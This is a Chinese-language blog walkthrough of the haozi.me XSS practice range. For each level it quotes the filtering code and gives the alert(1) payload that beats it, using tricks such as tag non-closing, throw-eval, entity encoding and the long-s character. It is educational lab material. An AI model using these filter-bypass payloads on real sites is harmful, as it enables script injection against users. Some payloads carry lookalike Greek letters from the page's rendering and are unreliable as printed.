XSS haozi靶场通关笔记

XSS靶场地址:alert(1)

靶场的要求是输出一个内容为1的弹窗;这个靶场限制了输入位置只能是input code;而且浏览器发送内容时会自动进行url编码;所以重点考察的是代码的分析和基础payload构造;一切完成在当前页面;没办法进行url编码绕过或者bp抓包修改;是磨练基础的宝刀。

祝各位玩的愉快,能够从靶场中学到更多的东西

靶场中冷知识整理:

  • html注释符:<!-- -->和<!-- --!>
  • 不闭合标签可执行:<img src οnerrοr="alert(1)"
  • 加空格的闭合标签可使用:</style >
  • 单行注释:可用 -->
  • 事件执行内容可以有多个:用,或;分割就行
  • s的古英文是ſ;变成大写都是S
  • alert()只能是小写;大写不执行;ALERT()不识别
  • <script>内容</script>:标签中间的内容不识别带编码的内容
  • 回车换行可以打断对字符串以开头和结尾进行判断的验证
  • 利用实体编码可以绕过大写转换

0X00

这一关属于新手友好关;没有任何的限制内容,直接构造payload:<script>alert(1)</script>即可

因为没有任何验证,所以绕过方法比较多,可以自行尝试

0X01

这一关使用了<textarea>标签,输入的内容都会直接当成文本输出;但是未作任何的过滤;可以进行标签闭合;直接构造payload:<textarea><script>alert(1)</script>

0X02

这一关是一个input标签;没有对输入做任何的过滤;可以进行双引号绕过或者标签闭合绕过

直接构造payload:" οnfοcus=alert(1) autofocus " //这里的autofocus加不加都行

0X03

这一关对小括号进行了过滤;将小括号换成了空字符;可以进行反引号绕过或者throw绕过

构造payload:<script>alert`1`</script> //反引号是esc下面的按钮

通过throw进行绕过;构造payload:<svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';">

主要掌握throw绕过的写法,标签换成其他的也可以

0X04

这一关对括号和反引号都进行过滤了;那考察的就是throw绕过了

直接构造payload:<img src οnerrοr="window.οnerrοr=eval;throw'=alert\x281\x29';">

0X05

这关把html中的注释符闭合标签过滤了;即-->被过滤了,而且把输入的内容放到了注释标签中;

输入的东西都会被注释掉,只能进行标签闭合;这个知识点很冷门了;(看了大佬的wp才知道)html注释符有两种写法:<!-- -->和<!-- --!>;可以使用--!>进行闭合(学到了)

构造payload:--!><script>alert(1)</script>

0X06

简单分析一下源码:

function render (input) {

input = input.replace(/auto|on.*=|>/ig, '_')

return `<input value=1 ${input} type="text">`

}

通过源码进行分析,主要看正则判断auto|on.*=|>的含义;/ /g是正则表达式的含义 /i是不区分大小写;这里过滤的是以auto或者on开头=结尾的字符串或者>;这些字符会被替换成_;我直接输入οnfοcus=alert(1)不会有结果,具体如下图;

但是这里忽略了换行符;可以利用回车绕过;

直接构造payload:onfocus

=alert(1);

0X07

简单分析源码:

function render (input) {

const stripTagsRe = /<\/?[^>]+>/gi

input = input.replace(stripTagsRe, '')

return `<article>${input}</article>`

}

正则表达式总匹配符解析:

.用来匹配出换行符\n以外的任意字符
*用来匹配前面的子表达式任意次
+用来匹配前面的子表达式一次或多次(大于等于1次)
?用来匹配前面的子表达式零次或一次

源码解析:<\/?[^>]+>

\是用来转义/的,<\/?的意思是匹配<和</;[^]是匹配不在括号的内容;[^>]+的意思是至少存在一次非>的内容;整体的含义是匹配<内容>或者</内容>;当然,前者是包含后者的

那就麻烦了;构造xss payload肯定得用到标签啊,百思不得其解;后来看了大佬的wp;发现标签不闭合也能执行;离了个大谱

直接构造payload:<svg/οnlοad=alert(1) 或者<svg οnlοad=alert(1)

这个标签payload是最少的,我最喜欢用的;如果这样构造不成功的话就在最后敲一个回车;有时是靶场的判断问题

0X08

简单分析一下源码:

function render (src) {

src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')

return `

<style>

${src}

</style>

`

}

这里是将</style>标签进行转换了;style标签是设置样式的,不能直接在其中嵌套标签;必须得进行闭合才行啊;直接用</style>看效果;发现被替换成了坏人;

那如何进行标签闭合呢?在</style>中的style后面加上一个或多个空格就能绕过;而且标签可以正常使用;讲实话真的学到了,这小知识真的一讲一个不知道

直接构造payload:</style ><img src="" οnerrοr=alert(1) >

0X09

简单分析源码:

function render (input) {

let domainRe = /^https?:\/\/www\.segmentfault\.com/

if (domainRe.test(input)) {

return `<script src="${input}"></script>`

}

return 'Invalid URL'

}

注意:这里的^表示的是开头的意思;只有在[]中才表示非的意思;

也就是说该源码判断的是输入字符串是否是以http://www.segmentfault.com这个字符串开头的;如果匹配的话才将输入放大<script>标签中;这就简单了;可以用""绕过

直接构造payload:http://www.segmentfault.com" οnerrοr="alert(1)

0X0A

简单分析源码:

function render (input) {

function escapeHtml(s) {

return s.replace(/&/g, '&amp;')

.replace(/'/g, '&#39;')

.replace(/"/g, '&quot;')

.replace(/</g, '&lt;')

.replace(/>/g, '&gt;')

.replace(/\//g, '&#x2f')

}

const domainRe = /^https?:\/\/www\.segmentfault\.com/

if (domainRe.test(input)) {

return `<script src="${escapeHtml(input)}"></script>`

}

return 'Invalid URL'

以上源码分为两部分:特殊字符转换和头部字符串验证

该源码将&/'"<>等转为了实体编码;也就是不能通过双引号和标签闭合进行绕过了;这真的没思路了;看了大佬的wp才知道当前网站下有一个j.js和J.JS的文件,里面的内容就是alert(1);这谁想得到啊

直接构造payload:https://www.segmentfault.com.haozi.me/j.js

0X0B

简单分析源码:

function render (input) {

input = input.toUpperCase()

return `<h1>${input}</h1>`

}

这里对输入的内容都进行了大写转换

这里有个冷知识:alert()函数只能是小写;ALERT()是不执行的

这里发现在html源码中实体编码是原样保存的;没经过转换;那么页面输出时会自动进行转化;可以用实体编码绕过

直接构造payload:</H1> <img src=M οnerrοr=&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;(1)>

0X0C

简单进行源码分析:

function render (input) {

input = input.replace(/script/ig, '')

input = input.toUpperCase()

return '<h1>' + input + '</h1>'

}

可以发现这里把script替换为空;然后又把替换后的字符串进行大写转换

思路:如果用<script>标签的话可以考虑利用双写绕过script的过滤;然后实体编码绕过ALERT()

我习惯直接用img标签或svg标签;单标签写起来舒服;直接实体编码绕过就行了

方法1:利用<script>标签绕过

直接构造payload:</H1> <scrscriptipt src οnerrοr=&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;(1)></scrscriptipt>

alert(1)编码后只能通过事件进行触发,不能够在<script>alert(1)</script>内部触发;这里有点儿小疑问;可能是环境的问题

方法2:利用<img>标签绕过

直接构造payload:</H1> <img src οnerrοr=&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;(1)>

方法3:利用<svg>标签绕过;

直接构造payload:</H1> <svg οnlοad=&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;(1)>

0X0D

简单分析源码:

function render (input) {

input = input.replace(/[</"']/g, '')

return `

<script>

// alert('${input}')

</script>

`

}

源码中对</'"进行了过滤,而且输入内容在单行注释标签下;//注释可以用回车进行绕过;但是由于后面的')存在无法让输入的执行;小脑萎缩了呀;</被过滤了,不能用//或者/*了,<也过滤了,不能对下面的标签进行闭合处理;看了大佬的wp发现可以用-->进行注释;真的学到了

直接构造payload:

alert(1);

-->

注意:第一行是回车键;-->是注释一整行,所以换行进行注释

0X0E

简单进行源码分析:

function render (input) {

input = input.replace(/<([a-zA-Z])/g, '<_$1')

input = input.toUpperCase()

return '<h1>' + input + '</h1>'

}

直接对<+字母组合进行过滤;任何标签都废了;替换完后还进行大写转换;这一刻真的小脑萎缩了;烦躁,没思路;看了大佬的wp直呼牛P;这题目真的是被玩明白的了

利用古英文(古拉丁文)中的一个字符:ſ

该字符是s的另一种写法;他的大写是S;这个思路真的清奇

直接构造payload:<ſvg/οnlοad=&#x0061;&#x006c;&#x0065;&#x0072;&#x0074;&#x0028;&#x0031;&#x0029;>

0X0F

简单对源码分析:

function render (input) {

function escapeHtml(s) {

return s.replace(/&/g, '&amp;')

.replace(/'/g, '&#39;')

.replace(/"/g, '&quot;')

.replace(/</g, '&lt;')

.replace(/>/g, '&gt;')

.replace(/\//g, '&#x2f;')

}

return `<img src οnerrοr="console.error('${escapeHtml(input)}')">`

}

console.error()函数是在控制台打印错误信息;由于特殊字符都被进行了实体编码;所以没办法进行标签闭合;可以考虑)闭合console.error()函数;然后用逗号或分号进行分割,再输入想要执行的程序,最后用//将后面内容注释掉;这里利用的就是标签不闭合也能执行

直接构造payload:'),alert(1); //

0X10

简单分析源码:

function render (input) {

return `

<script>

window.data = ${input}

</script>

`

}

没有任何过滤;直接将输入数据读取到了标签中;和第一关一样

直接构造payload:alert(1)

0X11

简单进行源码分析:

// from alf.nu

function render (s) {

function escapeJs (s) {

return String(s)

.replace(/\\/g, '\\\\')

.replace(/'/g, '\\\'')

.replace(/"/g, '\\"')

.replace(/`/g, '\\`')

.replace(/</g, '\\74')

.replace(/>/g, '\\76')

.replace(/\//g, '\\/')

.replace(/\n/g, '\\n')

.replace(/\r/g, '\\r')

.replace(/\t/g, '\\t')

.replace(/\f/g, '\\f')

.replace(/\v/g, '\\v')

// .replace(/\b/g, '\\b')

.replace(/\0/g, '\\0')

}

s = escapeJs(s)

return `

<script>

var url = 'javascript:console.log("${s}")'

var a = document.createElement('a')

a.href = url

document.body.appendChild(a)

a.click()

</script>

`

}

对输入的特殊字符进行了转义处理;并都添加了反斜杠;重点还是要绕过console.log();

在尝试的时候发现//虽然被转义成了\/\/,但是还能实现注释效果

直接构造payload:"); alert(1) //

0X12

简单分析源码:

// from alf.nu

function escape (s) {

s = s.replace(/"/g, '\\"')

return '<script>console.log("' + s + '");</script>'

}

源码中只对双引号进行了替换;加了转义字符;可以直接用\"绕过;相当于将替换后的\进行转义;使其失效;

直接构造payload:\");alert(1)//

10

相关推荐
claider1 分钟前
Vim User Manual 阅读笔记 usr_25.txt Editing formatted text 编辑有格式的文本
linux·笔记·vim
NaclarbCSDN7 分钟前
How Web servers work
安全
左左右右左右摇晃21 分钟前
Java笔记 —— 泛型
java·笔记
未知鱼21 分钟前
Python安全开发之简易whois查询
java·python·安全
左左右右左右摇晃25 分钟前
Java笔记——多态
java·笔记·python
十月南城25 分钟前
安全与合规检查表——隐私、审计与日志合规的关键条款与落地建议
安全
24白菜头28 分钟前
若依框架Ruoyi-Vue-SpringBoot3部署
前端·javascript·笔记·后端·学习
bestadc35 分钟前
Hello-Agents 第三章 大语言模型基础 学习笔记
笔记·学习·语言模型
次旅行的库36 分钟前
MQTT学习笔记
数据库·笔记·物联网·学习
就叫飞六吧41 分钟前
Tomcat /hvm类加载机制
java·笔记